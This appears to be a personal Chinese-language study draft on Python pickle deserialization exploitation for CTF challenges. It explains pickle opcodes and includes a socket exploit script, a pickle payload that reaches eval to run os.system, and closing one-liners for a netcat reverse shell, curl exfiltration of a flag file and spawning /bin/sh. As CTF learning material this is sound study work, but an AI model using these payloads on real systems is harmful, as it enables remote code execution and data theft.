草文,发上来挂着
python反序列化
Python反序列化漏洞与沙箱逃逸 - 个人学习分享
Python 反序列化浅析-腾讯云开发者社区-腾讯云
前半部分:描述了一个简单的字典对象。后半部分看下边
cguess_game game }S'round_count' I10 sS'win_count' I10 sb
等同于
class game: def __init__(self): self.round_count = 10 self.win_count = 10 # 示例字典形式: obj = { 'round_count': 10, 'win_count': 10 }
或
# Pickle 可能表示的类实例 from guess_game import game obj = game() obj.round_count = 10 obj.win_count = 10
Opcode | 含义 |
---|---|
c |
GLOBAL :加载一个全局对象,通常是模块中的类或函数。 |
} |
DICT :表示一个字典对象的开始。 |
S |
STRING :表示一个字符串。 |
I |
INT :表示一个整数(在协议 0 中的整数表示方法)。 |
s |
SETITEM :结束当前字典条目,表示为键值对设置值(键值关系存入字典)。 |
b |
STOP :表示序列化流结束,这是序列化文件的最后一个操作符。 |
c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了) }:push一个空的字典,相当于push {} S: push一个字符串 I: push一个整型 s: 按照我的理解以及一些参考文章,pop两位 ,然后作为字典的key和value,这个跟pyc的代码是类似的。 b: 调用__setstate__ 或者 __dict__.update() dict.update:更新对象的属性的
后半部分:描述了一个 Ticket
类的实例。!不需要手搓,直接dump出来就行
cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.
部分 | 协议 |
---|---|
cguess_game.Ticket\nTicket\n |
通用(协议 0 和协议 1 均支持)。 |
q\x00 q\x01 q\x02 q\x03 |
协议 2:MEMOIZE 操作码记录引用。 |
)\x81 |
协议 2:NEWOBJ 操作码用于高效创建新对象。 |
X\x06\x00\x00\x00number |
协议 1:BINUNICODE 操作码表示字符串(协议 2 兼容协议 1 的操作码)。 |
K\xff`` | **协议 1**: BININT1` 操作码表示小整数(协议 2 兼容协议 1 的操作码)。 |
|
s b .``S"win_count" I10 s S"round_count" I9 s |
协议 2 的 BUILD 操作码用于初始化对象,STOP 操作码表示流结束。 |
看不懂就去问GPT
exp↓
import pickle import socket import struct s = socket.socket() s.connect(('node2.buuoj.cn.wetolink.com', 28049)) exp = b'''cguess_game game }S"win_count" I10 sS"round_count" I9 sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.''' s.send(struct.pack('>I', len(exp))) s.send(exp) print(s.recv(1024)) print(s.recv(1024)) print(s.recv(1024)) print(s.recv(1024))
cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals (tRS'builtins' tRp1 cbuiltins getattr (g1 S'eval' tR(S'__import__("os").system("id")' tR.
前边部分
cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals (tRS'builtins' tRp1
t
:
将之前的 dict
和 'get'
打包成一个元组:(dict, 'get')
。
R
:
调用栈顶的函数(这里是 getattr
),并使用栈中打包好的元组作为参数。
等效于执行:
getattr(dict, 'get')
(tR
:压入空元组,形成globals()
S'builtins'
:将字符串 'builtins'
压入栈。
R
:调用 getattr(globals(), 'builtins')
,获取全局命名空间中的 builtins
模块。
p1:将栈顶的 builtins 模块保存到标识符 p1 中(pickle 的内部标记)。
这样可以在后续代码中通过引用 p1 来复用 builtins 模块。
接下来
getattr (g1 S'eval' tR(S'__import__("os").system("id")' tR.
g1
是之前序列化数据中定义的标识符,它引用的是全局命名空间对象(globals()
返回值)。
p1
来获取 eval
?虽然 eval
是一个内置函数,但它并不直接存在于 builtins
模块中,而是暴露在全局命名空间中。需要通过 globals()
获取它。这是因为:
全局命名空间的优先级高于 builtins
:
如果全局命名空间中存在与 builtins
中同名的对象(例如用户定义的 eval
函数),Python 会优先使用全局命名空间中的定义。
eval
的定位:
eval
被直接注册在全局命名空间中,因此更适合通过 globals()
获取。
灵活性:
攻击者使用 globals()
能更加灵活地访问所有全局变量,而不仅仅局限于 builtins
模块的内容。
\x80 PROTO(调用lload_proto)
\x04 根据四号协议序列化的字符串
\X95 FRAME 调用load_frame读取后边8个字符串,:\X00\X00\X00\X00\X00\X00\X00
\x8c SHORT_BINUNICODE (对应load_short_binunicode),函数内容读取下一位,压入栈中
\x94 MEMOIZE (load_memoize)
函数内容是将栈中-1对应元素赋值给memo[0],这里的话就是memo[0]=\x08__main,而memo等于{},那么这里就是{\x08__main}
\x93 load_stack_global
函数内容是将栈中元素取出一个,作为对象名,这里就是name=tttang,接下来再取出一个,作为类名,这里就是module=__main__,然后压入栈中 stack:[]
)
,对应的是EMPTY_TUPLE
,也就是向栈中加入空元组
\x81 对应函数是load_newobj
,弹出()
赋值给args
}
,往栈中压入空的字典
(
,对应方法为load_mark
,函数内容是将栈中元素压入到metastack
中,然后将栈置空
u
,对应函数为load_setitems
,将栈赋值给items
变量,然后将metastack
中的弹出赋值给栈,所以这里的栈就变成了
,这里的话就是取出__main__.tttang
作为字典,接下来进行range遍历
nc ip port -e /bin/bash curl -d @flag.txt ip:7777 __import__('os').system('/bin/sh')
找flag------- du -ah / | grep flag 磁盘搜索
commands包需要py2,d盘有文件
[CISCN2019 华北赛区 Day1 Web2]ikun